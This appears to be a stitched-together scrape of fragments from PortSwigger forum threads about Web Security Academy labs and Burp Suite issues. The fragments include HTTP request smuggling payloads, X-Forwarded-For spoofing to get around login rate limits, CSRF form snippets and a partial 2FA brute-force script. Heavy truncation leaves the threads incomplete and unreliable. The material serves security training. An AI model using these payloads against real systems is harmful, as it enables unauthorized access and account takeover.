Lab: HTTP request smuggling, basic TE.CL vulnerability
The solution for the challenge provided is:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net … Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c … GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
0, which is the size of the next chunk in bytes):
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Lab: HTTP request smuggling, basic TE.CL vulnerability
Please see below:
POST / HTTP/1.1
Host: <lab-ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded … Content-Length: 15
x=1
0
For the host, try leaving out https://.
HTTP/1.1
Host: 0a4200c60375b196c058f06300d100b9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
Host: 0a55001804a184ac82e056fd001300f2.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Request Smuggling - Lab does not work
0a5900b7040dfb4fc1db8f1c005d0093.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
HTTP/2
Host: 0a77006f03accff4c0f8bd7500440032.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … HTTP/2
Host: 0a77006f03accff4c0f8bd7500440032.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
For instance, in the lab "https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header … HTTP/1.1
Host: 0ac800a704bbd7328148caab006b0005.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Lab: Modifying serialized data types
end up with a
"Internal Server Error
PHP Fatal error: Uncaught Exception: Invalid access token for … user administrator in Command line code:7 Stack trace: #0 {main} thrown in /var/www/index.php on line
Setting the right cookie gives the error
"PHP Fatal error: Uncaught Exception: Invalid access token for … user administrator in Command line code:7
Stack trace:
#0 {main}
thrown in /var/www/index.php on … username=carlos trick dosen't work for me. Still getting the same error.
answer guide)
Internal Server Error
PHP Fatal error: Uncaught Exception: Invalid access token for … user administrator in Command line code:7 Stack trace: #0 {main} thrown in /var/www/index.php on line
answer guide)
Internal Server Error
PHP Fatal error: Uncaught Exception: Invalid access token for … user administrator in Command line code:7 Stack trace: #0 {main} thrown in /var/www/index.php on line
74%39
Internal Server Error
PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www … /index.php:4 Stack trace: #0 {main} thrown in /var/www/index.php on line 4
??
this error:
Internal Server Error PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www … /index.php:4 Stack trace: #0 {main} thrown in /var/www/index.php on line 4
Then, what I did is:
Modifying serialized objects"
PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www … /index.php:4
Stack trace:
#0 {main}
thrown in /var/www/index.php on line 4
echo "O:4:"User":2
Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
Good morning,
The following request in the provided solution did work for me but I don't understand … HTTP/1.1
Host: aca11fb21f25e1e3803a19b400f90012.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded … POST /admin HTTP/1.1 -> 20 characters + 2 ending \r\n (22 characters)
Content-Type: application/x-www-form-urlencoded … Thanks in advance for your help.
Regards,
Luc
Content-length: 4
Transfer-Encoding: chunked
5f
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Lab: HTTP request smuggling, basic TE.CL vulnerability
document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded … postId=9 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=11
0 … It is necessary for HTTP1.1.
This part of request is waiting for a second request on backend
GET /post? … postId=9 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=11
0 … postId=9 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=11
0 … We have response for this request
GET /post?postId=9 HTTP/1.1
....
BUT!
Issues with Burp Suite Enterprise Edition deployed on GKE
Installation: /usr/local/burpsuite_enterprise
Logs: /home/burpsuite/logs
Log disk space: 46
C) Since log disk space has been 46 GB I need to delete that. How I can do that ? … E) Can you please let me know the below debug settings and how to use that for debugging ? … settings
From time to time, the PortSwigger support team may ask you to enable detailed debugging for
Lab Not Working Properly
HTTP/1.1
Host: ac821ff91fa6a6ac80911ed1005d00ec.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … 1.1
Host:
aca71f681fe0a61c80c01e0d01930066.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Hannah,
for my sanity, is this lab still working as expected? … HTTP/1.1
Host: acaf1f911ef7cfe6801f0c0400ef00b5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Host: exploit-ace11f511e3acff980030cc4010500fe.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
Host: ac7a1f911ef7995e80d3ec5300020083.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Host: exploit-acab1f4f1e8899f38092ec9101ef005c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
Host: acfb1ff41fc0eb70c03ba87e008c000d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Host: exploit-ac6a1f321fcaeb3dc0f4a8cc013d002c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Username enumeration via response timing
Here is my request I used with Burp Suite (the process worked well for the username) :
POST /login … 0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded … 0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Missing parameter in HTTP Smuggling request lab
HTTP/1.1
Host: 0a3a008503e2d7a7c03e1b91006c0030.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
Host: 0abd00da04a3b710c0c4a56b002200b3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
No interaction from victim in Access Logs after sending request to /deliver-to-victim
my own interactions with the exploit server in the access log:
```
192.184.176.136 2024-08-13 23:46 … AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
192.184.176.136 2024-08-13 23:46 … AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
192.184.176.136 2024-08-13 23:46 … AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36"
192.184.176.136 2024-08-13 23:46 … able to complete the exploit in the "SameSite Strict bypass via sibling domain" lab earlier today, for
HTTP request smuggling, basic TE.CL vulnerability Lab Queries.
HTTP/1.1
Host: 0a7600cc04f7bab6802e1c2500f700ad.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded … Transfer-Encoding: chunked
Connection: keep-alive
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
BCheck SQLi bypass autentication
Hi Hannah, and all
Can you answer something for BCheck, how can I check for vulnerabilities in the … body of the
POST request for example:
```
Content-Length: 33
Sec-Ch-Ua: "Chromium";v="121", " … Not A(Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With … I know that I can use Intruder, but the question is how can I build BCheck who check exactly this for
: 33
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded … : 33
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded
Logic error in lntruder module
KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.143 Mobile Safari/537.36
Content-Type: application/x-www-form-urlencoded … KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.143 Mobile Safari/537.36
Content-Type: application/x-www-form-urlencoded … time, but I really only want to encrypt the second field, password,Please see the attached screenshot for
Adding X-Forwarded-For to bypass IP based brute force protection
https://acaf1f021f283a268092b4c2004c008d.web-security-academy.net/login
Content-Type: application/x-www-form-urlencoded … X-Forwarded-For:127.0.0.1
Content-Length: 66
Connection: close
Cookie: session=z4VDyMjyIL1hiZkh1J78iceO9t4VndLw … 2hCS8v3SGzAz9gWhsu7XyB3GpCi6AKvo&username=adada&password=dada
Even though I have added the X-Forwarded-For
Whatever value for the X-Forwarded-For header i am using I am getting the too many attempts message … q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded … web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
X-Forwarded-For
XSS False positive
Tx for the great tool,
Best regards,
Joel
Example:
POST /path HTTP/1.1
Host: fitnhotel.fr … fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
how to add X-Forwarded-For and what is columns in Lab Username enumeration via response timing
You can, and need to, manually insert the "X-Forwarded-For:" header into the POST like this:
POST … ,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Forwarded-For … : 203.0.113.8 <---- INSERT HERE AND REMOVE THIS COMMENT
Content-Type: application/x-www-form-urlencoded … Admins: the main issue I had is in the solution, it states in step 2:
"Identify that the X-Forwarded-For … The issue with this is HOW do we identify that X-Forwarded-For is supported, there is nothing in the
Lab #5: CSRF where token is tied to non-session cookie & Lab #6: CSRF where token is duplicated in cookie issues
For example, for your email value, use something like "asdf@asdf.asdf".
/change-email" method="POST">
<input type="hidden" name="email" value="exploit2@exploit.
my-account/change-email" method="POST">
<input type="hidden" name="email" value="testemail@email.
Lab: 2FA bypass using a brute-force attack
For this lab "Lab: 2FA bypass using a brute-force attack", the solution is great, totally understand … However, I am in Australia, and the latency for the 3 steps to refresh the session is around 4 seconds … Also, I'd love to see a Turbo Intruder solution for this, and how to build in the 3 steps to refresh … q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded … <h2>Session expired</h2>
<p>The session you are looking for
+ '/login'
urlForTokenPage = url + '/login2'
headerObj = {
"Content-Type": "application/x-www-form-urlencoded … runThread():
threadArr = []
with ThreadPoolExecutor(max_workers=8) as executor:
for … threadArr.append(executor.submit(token))
concurrent.futures.wait(threadArr)
if False:
for … print(task.result())
runThread()
'''
def main():
tokenArr = [str(i).zfill(4) for
HTTP Request Smuggler doesn't work
Thanks for the reply.
I tried reinstalling and there was no error. … request with key https0a59006803c8cfd8815d6b8d007700a0.web-security-academy.netGET200HTML: 1 of 1 in 46 … requests
===========================================
Other than that, I have no specific settings for … Thank you for your response.
Thanks for the reply.
I tried reinstalling and there was no error. … request with key https0a59006803c8cfd8815d6b8d007700a0.web-security-academy.netGET200HTML: 1 of 1 in 46 … requests
===========================================
Other than that, I have no specific settings for … Thank you for your response.
Lab: CSRF vulnerability with no defenses
Hello, going through the lab https://portswigger.net/web-security/csrf/lab-no-defenses, for some reason … web-security-academy.net/email/change-email">
<input type="hidden" name="email" value="test@test.
Please review the victim automation for this and other labs. … /change-email" method="POST">
<input type="hidden" name="email" value="wiener@exploited.
Turbo Intruder error
Hi everyone,
I've just downloaded Turbo Intruder and was about to use it for the first time. … I chose one of the easiest lab for this purpose:
https://portswigger.net/web-security/authentication … Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded … requestsPerConnection=100,
pipeline=False
)
for … script: https://raw.githubusercontent.com/PortSwigger/turbo-intruder/master/resources/examples/debug.py
For
Lab: 2FA bypass using a brute-force attack doesn't get me a 302
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded … Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Browser receives "HTTP/1.0 200 Connection established" from BURP which received "HTTP/1.1 404 Not Found"
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded … Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
handshake failure using strong cipher suites
TLSv1.2 -jar /path/to/burpsuite_free_v1.7.10.jar
the generated cert is still SHA1withRSA:
found key for … , L=London, ST=London, C=GB
SerialNumber: [ 00]
So I compiled a simple Java HTTPS Server for … testing, created a cert for it with keytool (1024bit RSA AND SHA1with RSA) and guess what - hand shake … smoothly:
*** ClientHello, TLSv1.2
RandomCookie: GMT: 1883716619 bytes = { 200, 13, 147, 243, 106, 46
Lab: Username enumeration via response timing - ("X-Forwarded-For:" not working)
Hi, the "X-Forwarded-For:" header is not working, I tried to do lot of researches but no luck. … Origin: https://ac921f4f1ec67a2fc05d23890023008c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded … login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
X-Forwarded-For
Crashing while actively scanning or crawling
Im attaching the debug logs for more info. … false, block=22, wait=543
lock=java.lang.ref.ReferenceQueue$Lock@51307dfe owned by null (-1), cpu=46 … wait=17
lock=java.util.concurrent.SynchronousQueue$TransferStack@68cf2c3f owned by null (-1), cpu=46 … wait=21
lock=java.util.concurrent.SynchronousQueue$TransferStack@2749e1c9 owned by null (-1), cpu=46 … wait=18
lock=java.util.concurrent.SynchronousQueue$TransferStack@68cf2c3f owned by null (-1), cpu=46
Burp Suite Enterprise Edition
The enterprise-enabled dynamic web vulnerability scanner.
Burp Suite Professional
The world's #1 web penetration testing toolkit.
Burp Suite Community Edition
The best manual tools to start web security testing.
Dastardly, from Burp Suite
Free, lightweight web application security scanning for CI/CD.
View all product editions
